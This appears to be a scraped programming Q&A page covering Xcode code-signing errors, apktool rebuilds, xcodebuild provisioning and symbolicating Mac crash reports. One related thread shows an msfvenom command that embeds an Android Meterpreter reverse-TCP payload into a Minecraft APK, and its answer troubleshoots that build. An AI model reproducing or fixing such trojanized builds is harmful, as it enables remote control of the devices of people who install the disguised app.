CodeSign error when building Objective C app on XCode 8 / macOS Sierra - xcode8

I maintain a pretty old Objective C, iOS app. After switching to Xcode 8 + Sierra, I started getting a CodeSign error:
XXXXX.app: resource fork, Finder information, or similar detritus not
allowed Command /usr/bin/codesign failed with exit code 1
I've been through the docs and also other questions here and I'm aware of the xattr -rc . solution. I've also tried finding individual files with attributes using ls -alR#. There are no more files with the com.apple.FinderInfo attribute, plus xattr -rc . would have cleared them anyway.
I set up a VM with El Capitan and Xcode 8 and I can build and sign there no problem, so somehow this is Sierra specific.
What I've tried:
ls -alR#, xattr -rc ., et all.
Rebooting
Deep clean + kill DerivedData
Made sure code is not in iCloud Drive
The same Xcode is able to build and sign a newer Swift app I'm working on.
How can I find which of the error cases applies to me? is it a "resource fork", "Finder information", or "similar detritus"?

Run find . -type f -name '*.png' -exec xattr -c {} \; on the root folder of your project
Go to Finder, press cmd+shift+g, navigate to ~/Library/Developer/Xcode/DerivedData/, and delete all the folders there.
In Xcode, press cmd+shift+k to clean your project.
You should be good to rebuild and run your app again.
This problem is usually caused by image files previously edited using Adobe Photoshop.

Related

The apk rebuild by apktool can not be installed even after zipalign and sign

I need to make hundreds flavors of my app. They have different logos and names. When I use android studio's productFlavor, it always OOM, and cost very long time to build hundreds app.
So I want to make these apps by apktool. decompile, rebuild, zipalign, apksign. But I find that, the finally generated apk can not be installed.
The error is:
Failure [INSTALL_FAILED_INVALID_APK: ed to extract native libraries, res=-2]
apktool d my_app.apk decompile
change the logo and name.
apktool b decompile my_app-rebuild.apk
zipalign -v 4 my_app-rebuild.apk my_app-align.apk
apksigner sign --ks my_key.jks --ks-pass pass:my_ks_pass --key-pass pass:my_key_pass --v1-signing-enabled true --v2-signing-enabled true --out my_app_out.apk my_app-align.apk
After these works, the my_app_out.apk can not installed.
From the error you got:
Failure [INSTALL_FAILED_INVALID_APK: ed to extract native libraries, res=-2]
If set to false, then your native libraries must be page aligned and stored uncompressed in the APK.
It's either you need to set extractNativeLibs flag to true or you need to page align the apk when doing zipaligning by adding -p parameter:
-p : outfile.zip should use the same page alignment for all shared object files within infile.zip
The zipalign command should be:
zipalign -p -v 4 my_app-rebuild.apk my_app-align.apk

Malformed String Number Version 2.4.0 when msfvenom -x

Read all and carefully
Hi, I'm using Kali 2.0 and I love to tweak with it (Sorry for bad english but I'm italian). When I use this command:
msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk
it gives me:
Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I've searched for weeks on all the forums but, I didn't found the solution. I've reinstalled Kali, metasploit-framework, jdk, apktool. Nothing was happened. Any fix?
I have struggled and got the solution. It looks like the problem was with the apktool and also the java environment variables (but in your case it could be only one issue), i uninstalled the apktool & java's(jdk,jre), reinstalled, changed versions through terminal but nothing worked.
FIRST ISSUE (_JAVA_OPTIONS) :
To figure this out i read an issue on github https://github.com/iBotPeaches/Apktool/issues/2325
To temporarily fix it, run the following commands in the same terminal window where you are trying to use msfvenom:
_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'
To permanently fix it, place the above commands in /root/.bashrc(you have to check Show hidden files in View tab).
Now the above error message should go away, and if there is an issue with your apktool it will be displaying unable to rebuild apk with apktool. So, to figure this out read below:
SECOND ISSUE (Apktool)(unable to rebuild apk with apktool):
I have found that there is a missing file
of apktool located in usr/local/sbin. Delete apktool file from there if exists.
Download linux wrapper script https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
Download latest apktool from https://bitbucket.org/iBotPeaches/apktool/downloads and rename it to apktool.jar
Now copy both the files (linux wrapper script & apktool.jar) to /user/local/bin
Type apktool in terminal and verify the version
P.S. For those who cant go with the steps for the second issue, go watch this fix https://youtu.be/vxs_fkUHnSw

Wrong team/provisionning profile when using xcodebuild command

I'm trying to build a continuous integration's script on my xcode project, but I'm stuck trying to archive my xcode project using xcodebuild command. When trying :
sudo xcodebuild -scheme MyScheme -archivePath builds/XXX.xcarchive archive DEVELOPMENT_TEAM=YYY CODE_SIGN_IDENTITY='iPhone Distribution' CODE_SIGN_STYLE='Manual' PROVISIONING_PROFILE_SPECIFIER=ZZZ
XXX is my project name
YYY is my development team identifier, like ABC123DEF, it's a string
ZZZ is my provisionning profile name, not a code but a string, like "My Provisionning Profile"
I always get this error :
error: No profile for team 'YYY' matching 'ZZZ' found: Xcode couldn't find any provisioning profiles matching 'YYY/ZZZ'. Install the profile (by dragging and dropping it onto Xcode's dock item) or select a different one in the General tab of the target editor.
However, when opening manually the XCode project and trying to archive, it works perfectly.
What am I missing? How can I get the full list of team/provisionning_profile installed on my Mac?
What I have tried so far :
I tried to remove the part where I specify the development team and provisionning profile, leaving only the scheme identifier. Same result considering the scheme is defined with the same informations.
I tried to go in my mobileprovision folder to check if the provisionning profile exists (it exists)
I tried to display the xcode archive command lines in the editor (On the Report navigator tab). Actually it never shows the xcodebuild command directly but a bunch of subcommands. However I could find out that my XXX team identifier and YYY provisionning profile that I am using are using in this script
Does anyone know how I can solve this issue?
I finally found the problem, it came from the sudo before xcodebuild.
The sudo command will run the following action under the root user by default, which doesn't have any provisioning profile installed, as I always registered them under my user profile.
here is what I did :
sudo -u myuser xcodebuild -scheme MyScheme -archivePath builds/XXX.xcarchive archive DEVELOPMENT_TEAM=YYY CODE_SIGN_IDENTITY='iPhone Distribution' CODE_SIGN_STYLE='Manual' PROVISIONING_PROFILE_SPECIFIER=ZZZ
and the error disappeared.
Hope this can help someone.
Provisioning profiles are in ~/Library/MobileDevice/Provisioning Profiles/
You could add -allowProvisioningUpdates to allow xcodebuild to "solve" the problem itself, but... ¯_(ツ)_/¯ for how safe/good the result will be. You've specified "manual" so I assume you don't want to do this.
I suspect you are trying to archive the project but only have a development profile installed. Build a Release build of the project from within Xcode and that should get it to download a release (distribution) provisioning profile for you which you can then use from the command line.

Archived App not working. Run from XCODE successful

I have made an app with swift which is working when I run it from XCODE. However, when i try to archive it and run the .app, it will not start.
How can I check why the app is crashing/not starting? What can be the reasons?
This is what the console output if I enter the packe and start it from the folder Contents/MACOs
Mislavs-MBP:~ proslav$ /Users/proslav/Desktop/trackingCore.app/Contents/MacOS
/trackingCore ; exit;
dyld: Library not loaded: #rpath/SQLite.framework/Versions/A/SQLite
Referenced from: /Users/proslav/Desktop/trackingCore.app/Contents/MacOS
/trackingCore
Reason: image not found
Trace/BPT trap: 5
logout
running it from the terminal gives the following output
LSOpenURLsWithRole() failed with error -10810 for the file /Users/proslav
/Desktop/trackingCore.app.
I have added a framework https://github.com/stephencelis/SQLite.swift to access a SQLite database. That is the library that is not loaded although it exists in the .app
I found the answer. In the copy files i was linking to resources instead of frameworks. It seemed to be no problem for run but it was for archving.
Anyone arriving here based on the title, note that Xcode OSx builds are broken now.
https://developer.apple.com/library/mac/qa/qa1884/_index.html
They recommend using command line tools;
$ productbuild --component Sample.app /Applications --sign “3rd Party Mac Developer Installer:" Sample.pkg
$ sudo installer -store -pkg Sample.pkg -target /

How do I symbolicate a crash report of a Mac OS X app that a user emailed to me?

I am working on an app that I have sent to a few beta testers. Within just a few minutes of launching the app a user got a crash. When the window poped up saying the app had crashed he copied all of the text in the details section and emailed it to me. I have saved the text into a plain text file and given it the .crash extension which causes it to be opened by console like a regular crash report so I think I have the extension right (but maybe not).
The version I sent out was built by Xcode with the Archive option so Xcode knows where the app and .dSYM are.
I know that with iPhone apps you can drag a crash report to the organizer and Xcode will symbolicate it for you. I can not find anywhere that will take a Mac crash report.
I have looked at atos but it talks about memory locations including the location the app was running at and I don't see that information listed in the report I have. Looking at the raw crash report it looks like a view controller was released early but I can't really tell if that was the cause or a symptom.
My real question is; is there a way to have Xcode symbolicate the report or a tool that I can just hand over the .dSYM file, app, and report and get back a symbolicated report?
I've looked all over Google but everything I find (other than the previously mentioned man pages for atos) is about symbolicating iPhone reports, not Mac OS X ones.
Or as in answer https://stackoverflow.com/a/18354072/317461
Put your release build and your .dSYM file in the same directory and open terminal
$cd directory
$lldb MyApp.app
(lldb) image lookup -v --address 0x00085f3c
We had the same problem with our app and I was symbolicating the crash reports manually line by line with atos.
I now tweaked Apple's symbolicate script such that it works with Mac apps and crash reports from PLCrashReporter.
https://github.com/lksnmnn/Symbolicate-CrashReports
How to use it:
Make sure you have all of the following files on your computer:
The crash report: report.crash
The dSYM file of your app: MyApp.dSYM
The executable / app folder of your app: MyApp.app
The improved symbolicate script: symbolicatecrash
Now go in the command line (Terminal) and do the following:
# set the developer directory
export DEVELOPER_DIR="/Applications/Xcode.app/Contents/Developer"
# Now run the script
/Path/To/symbolicatecrash /Path/To/report.crash > /Path/To/readable_report.crash
# Use -v for verbose logging.
The script will find your dSYM and your executable and symbolicates as much as it cans. You will now find your symbolicated report in the stated output file readable_report.crash
Build settings:
For proper reports and symbols, set your build settings to this:
Strip Debug Symbols During Copy: Yes
Strip Style: All Symbols
Strip Linked Product: Yes
Edit: Improved the answer such that it aligns with the Stack Overflow answer policy.
You can use GDB for Symbolication, Put your release build and your .dSYM file in the same directory
open terminal
$ cd directory
$ gdb MyApp.app
(gdb) info line *0x00085f3c